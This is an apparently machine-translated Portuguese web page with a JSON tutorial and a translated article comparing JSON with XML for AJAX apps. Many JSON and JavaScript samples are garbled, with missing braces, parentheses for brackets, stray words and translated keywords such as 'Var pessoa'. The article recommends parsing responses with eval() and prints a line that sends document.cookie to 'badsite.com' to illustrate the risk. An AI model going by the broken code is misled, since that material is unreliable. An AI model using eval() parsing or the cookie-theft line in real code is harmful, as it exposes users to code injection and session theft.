"nome de usuário": "Jesse",
"localização": "Washington",
"on-line": falso,
"seguidores": 432

"atraiu" :(
"nome de usuário": "Drew",
"local": "Paris",
"on-line": falso,
"seguidores": 321

"Jamie" :(
"nome de usuário": "Jamie",
"location" : "Berlim",
"on-line": verdadeiro,
"seguidores": 654

Observe que chaves são usadas tanto no objeto aninhado quanto no objeto principal. As vírgulas em objetos aninhados são usadas da mesma forma que em objetos normais.

Matrizes aninhadas

Os dados podem ser aninhados em JSON usando arrays JavaScript, que serão passados ​​como valores. JavaScript usa colchetes () no início e no final de um array. Uma matriz é uma coleção ordenada de dados que pode conter diferentes tipos de dados.

Uma matriz é usada para transferir uma grande quantidade de dados que podem ser agrupados. Por exemplo, vamos tentar registrar os dados do usuário.

{
"primeiro_nome": "João",
"sobrenome": "Smith",
"local": "Londres",
"sites": [

"descrição": "trabalho",
"URL": "https://www.johnsmithsite.com/"

},
{

"descrição": "tutoriais",
"URL": "https://www.johnsmithsite.com/tutorials"

"mídia social" : [

"descrição": "twitter",
"link": "https://twitter.com/johnsmith"

"descrição": "facebook",
"link": "https://www.facebook.com/johnsmith"

"descrição": "github",
"link": "https://github.com/johnsmith"

As chaves “websites” e “social_media” recebem matrizes como valores, que são colocados entre colchetes.

Usando matrizes e objetos aninhados, você pode criar uma hierarquia de dados complexa.

JSON ou XML?

XML (eXtensible Markup Language) permite armazenar dados em um formato fácil de entender para humanos e máquinas. O formato XML é suportado por um grande número de linguagens de programação.

XML e JSON têm muito em comum. No entanto, o XML requer muito mais texto, o que significa que tais arquivos são maiores e mais difíceis de ler e escrever. Além disso, o XML só é processado usando um interpretador XML, enquanto o JSON pode ser processado usando uma função simples. Ao contrário do JSON, o XML não pode armazenar matrizes.

Vamos comparar dois arquivos: eles contêm os mesmos dados, mas o primeiro é escrito em formato XML e o segundo em JSON.

usuários.xml

João Londres

Jessé Washington

Drew Paris

Jamie Berlim

usuários.json
("Usuários": [

("nome de usuário": "John", "localização": "Londres"),
("nome de usuário": "Jesse", "localização": "Washington"),
("nome de usuário": "Drew", "localização": "Paris"),
("nome de usuário": "JamieMantisShrimp", "localização": "Berlim")

JSON é um formato muito compacto e não requer tantas tags quanto o XML. Além disso, o XML, diferentemente do JSON, não oferece suporte a arrays.

Se você estiver familiarizado com HTML, notará que o formato XML é muito semelhante a ele (principalmente as tags). JSON é mais simples, requer menos texto e é mais fácil de usar em aplicações AJAX, por exemplo.

Claro, o formato deve ser escolhido dependendo das necessidades da aplicação.

Ferramentas para JSON

JSON é comumente usado em JavaScript, mas o formato é amplamente utilizado em outras linguagens de programação.

Mais informações sobre compatibilidade e processamento JSON podem ser encontradas no site do projeto e na biblioteca jQuery.

É raro escrever JSON do zero. Normalmente, os dados são carregados da origem ou convertidos em JSON. Você pode converter dados CSV ou delimitados por tabulações em JSON usando a ferramenta de código aberto Mr. Conversor de dados. Para converter XML em JSON e vice-versa, use utility-online.info. Ao trabalhar com ferramentas automáticas, certifique-se de verificar os resultados.

Arquivos JSON (incluindo dados convertidos) podem ser inspecionados usando o serviço JSONLint. Para testar JSON em um contexto de desenvolvimento web, consulte JSFiddle.

Conclusão

JSON é um formato de dados simples e leve. Os arquivos JSON são fáceis de transferir, armazenar e usar.

Hoje JSON é frequentemente usado em APIs.

• Tradução

Nota: abaixo está uma tradução do artigo de revisão “JSON vs XML”, dedicado ao JSON e sua comparação com XML de acordo com uma série de critérios. Publicado para popularizar o JSON entre os leitores do Habrahabr.

JSON (JavaScript Object Notation) é um formato de troca de dados fácil de ler pelas pessoas, fácil de processar e gerar por programas.

Baseado em um subconjunto da linguagem JavaScript, Padrão ECMA-262 3ª Edição - Dezembro de 1999.

JSON-Wikipédia

Qual é o formato de resposta correto para XMLHttpRequest em aplicativos AJAX? Para a maioria dos aplicativos baseados em marcação, a resposta é simples – (X)HTML. Para aplicações centradas em informações, a escolha será entre XML e JSON. Até recentemente, eu realmente não me perguntava o que era melhor usar, XML ou JSON. Simplesmente presumi que em cada caso específico valia a pena escolher o formato mais adequado, só isso. Mas recentemente tive a oportunidade de testar esta abordagem na prática. Neste post, descreverei os critérios pelos quais comparei entre XML e JSON e minhas próprias conclusões.

Portanto, os critérios são os seguintes.

• Legibilidade do código.
• Facilidade de criação de um objeto de dados do lado do servidor.
• Fácil processamento de dados do lado do cliente.
• Fácil de expandir.
• Depuração e correção de erros.
• Segurança.

Legibilidade do código

Pessoa pessoa = new Pessoa(); person.setFirstName("Subbu"); person.setLastName("Allamaraju"); escritor.write(JSONObject.fromObject(pessoa).toString());

Se considerarmos o funcionamento de tais interfaces de programação, então criar JSON não é muito diferente de serializar Java beans em objetos. No entanto, é importante notar que agora existem muito mais maneiras de gerar XML do que JSON. Algumas dessas APIs XML já existem há muitos anos e por esse motivo podem ser mais estáveis ​​quando usadas para aplicações complexas.

Outro aspecto a considerar será a quantidade de recursos utilizados para gerar a resposta. Se operações “pesadas” já forem executadas ao receber dados, não será difícil para a parte do servidor convertê-los adicionalmente em XML para resposta. Se a criação de XML for a operação que consome mais recursos, então é melhor usar JSON.

Fácil de usar

No lado do cliente, processar dados JSON como resposta a um XMLHttpRequest é extremamente simples.

Var pessoa = eval(xhr.responseText); alerta(pessoa.primeiroNome);

Usando eval() regular você pode converter a resposta em um objeto JavaScript. Assim que esta operação for concluída, os dados podem ser acessados ​​usando as propriedades do objeto convertido. Esta é a parte mais elegante de todo JSON.

Agora vamos dar uma olhada em XML. Para tornar o trecho de código abaixo mais transparente, removi todas as verificações de erros.

"primeiro nome");

Obviamente, ao processar os dados recebidos do servidor, é necessário examinar toda a árvore DOM. Esta é uma operação muito trabalhosa e sujeita a erros. Infelizmente, no navegador temos que lidar com o DOM. Os navegadores não suportam uma linguagem de consulta como XPath para recuperar nós de árvore em um documento XML. O suporte para essas funções já se aplica ao XSLT, mas é bastante limitado ( nota: no navegador) em termos de conversão de XML em marcação (por exemplo, HTML). Grupo de Trabalho sobre Interfaces Web ( Grupo de trabalho de API Web) do W3C está trabalhando em uma interface de seletor ( API de seletores), que pode ser usado para aplicar seletores CSS ao selecionar nós de um objeto Document. Usando tal interface, seria possível transformar o código de exemplo acima em xml.match("person.firstName") para obter o elemento firstName. Isto não é uma grande conquista para o documento XML neste exemplo, mas pode ser útil para trabalhar com documentos altamente ramificados. Esta interface ainda não está completa e levará anos até que os navegadores a suportem.

Em geral, se eu tiver que escolher entre XML e JSON, preferirei JSON devido à facilidade de implementação do processamento no lado do cliente.

Extensibilidade

A extensibilidade ajuda a reduzir o número de comunicações entre o provedor de dados e o destinatário. No contexto de aplicações AJAX, o script do lado do cliente deve ser suficientemente invariável em relação a alterações compatíveis nos dados.

A crença geral é que o XML é automaticamente extensível simplesmente em virtude da presença da letra “X”. Mas esta não é uma regra incondicional (ou seja, agir por omissão). A extensibilidade XML é baseada no princípio de que você pode definir nós adicionais em seu XML e depois aplicar uma regra de "ignorar o que não é necessário" (ou seja, se você encontrar um elemento ou atributo desconhecido durante o processamento de XML, simplesmente ignore-o).

Para aproveitar ao máximo a extensibilidade, você precisa escrever código do lado do cliente tendo a extensibilidade em mente. Por exemplo, o exemplo a seguir será dividido se você quiser inserir, por exemplo, um elemento middleName.

Var xml = xhr.responseXML; var elementos = xml.getElementsByTagName("primeiroNome"); var primeiroNomeEl = elementos[0]; var lastNameEl = firstNameEl.nextSibling;

Se você inserir um elemento imediatamente após o elemento, este exemplo fará com que o nome do meio seja mal interpretado como um sobrenome. Para ser invariável a esta mudança, o código precisa ser reescrito para obter explicitamente o elemento, ou acessar nextSibling somente se um filho com o tagName desejado for encontrado. Assim, o XML é extensível desde que você escreva o código tendo em mente a extensibilidade futura. Tudo é extremamente simples.

Voltemos ao JSON. Argumento que é mais fácil estender dados JSON do que XML. Isto, sem dúvida, requer menos esforço. Vamos considerar adicionar a propriedade middleName à resposta JSON. Para acessá-lo, basta ligar para ele.

Alerta(pessoa.middleName);

Este código não mudará se você adicionar um nome do meio à sua resposta. Mas o que fazer no caso de processar uma pessoa com ou sem nome do meio? Com JSON é fácil.

if (person.middleName) ( // Processando )

Minha posição é que, se for possível ter em mente a extensibilidade futura, os dados XML e JSON poderão ser estendidos. Mas é mais fácil expandir dados com JSON do que com XML. Basta verificar se a propriedade necessária existe no objeto e agir de acordo com o resultado da verificação.

Outra opção para estender dados JSON é usar chamadas de função junto com declarações de dados diretamente na resposta.

Alert("Olá - eu sou uma pessoa"); (("primeiroNome" : "Subbu", "sobrenome" : "Allamaraju"));

Quando os dados são declarados via eval() , o navegador também chamará a expressão alert(). Nesse caso, você pode carregar dados e executar funções. Essa abordagem deve ser usada com muito cuidado, pois sobrecarrega a resposta com chamadas de função e cria uma conexão entre chamadas e dados. Algumas fontes também discutem as potenciais vulnerabilidades de segurança desta abordagem, que são discutidas com mais detalhes abaixo.

Depuração e correção de erros

Esse aspecto se aplica tanto ao lado do servidor do seu aplicativo quanto ao lado do cliente. No servidor, você precisa ter certeza de que os dados estão formados e corretos corretamente. Deve ser fácil depurar erros na resposta do lado do cliente.

Com XML é relativamente fácil verificar se os dados enviados ao cliente estão bem formados e corretos. Você pode usar o esquema para seus dados e aplicá-lo para validar os dados. Com JSON, esta tarefa torna-se manual e requer a verificação de que o objeto resultante possui os atributos corretos.

Do lado do cliente, em ambos os casos é difícil detectar erros. Para XML, o navegador simplesmente não será capaz de convertê-lo em responseXML. Para pequenas quantidades de dados JSON, você pode usar a extensão FireBug para depuração e correção de erros. Porém, com grandes quantidades de dados, torna-se um tanto difícil correlacionar a mensagem de erro com um local específico no código.

Segurança

Dave Johnson, em seu post JSON and the Golden Fleece, sugere que JSON pode causar problemas de segurança. A essência da observação é que se você permitir que chamadas de função sejam inseridas junto com dados em respostas JSON e usar eval() para processar a resposta, então você estará executando código arbitrário, que na verdade já pode conter um risco de segurança.

Window.location = "http://badsite.com?" + documento.cookie; pessoa: ( "primeiroNome": "Subbu", "sobrenome": "Allamaraju" )

Se a resposta do exemplo acima for executada, fará com que o navegador envie os cookies do usuário para o site de terceiros. Mas, neste caso, há alguma confusão na definição de ameaça à segurança. Você não deve confiar em dados ou códigos obtidos de uma fonte não verificada. E em segundo lugar, não poderemos usar XMLHttpRequest para nos comunicarmos com domínios diferentes do domínio de origem do script. Assim, apenas os próprios desenvolvedores, ao criar um aplicativo, podem iniciar o envio de cookies para um site de terceiros. Isto é bastante duvidoso, porque eles poderiam facilmente colocar esse código malicioso em qualquer lugar do documento, fora da resposta de dados enviada pelo servidor. Talvez esteja faltando alguma coisa, mas não vejo sentido em considerar o JSON inseguro em comparação com o XML.

Minha escolha

Para aplicativos centrados em informações, prefiro usar JSON em vez de XML devido à sua simplicidade e facilidade de processamento de dados no lado do cliente. XML pode ser indispensável no servidor, mas JSON é definitivamente mais fácil de trabalhar no cliente.

 

Pode ser útil ler:

• Revisão dos condicionadores de ar DAIKIN, instruções para eles e avaliações de usuários;
• JSON: Básico;
• Comunicações móveis e roaming na Tunísia Como economizar em comunicações móveis;
• Western Digital Red: HDDs especiais para NAS Qual é a diferença entre discos rígidos wd de cores diferentes;
• Como habilitar a exibição de extensões de arquivo;
• Tipos básicos de documentos no Word;
• Como atualizar o WhatsApp no ​​nokia lumia - Atualizar WhatsApp messenger Como atualizar o WhatsApp no ​​lumia 625;
• Samsung Galaxy Note7 Exynos - Especificações;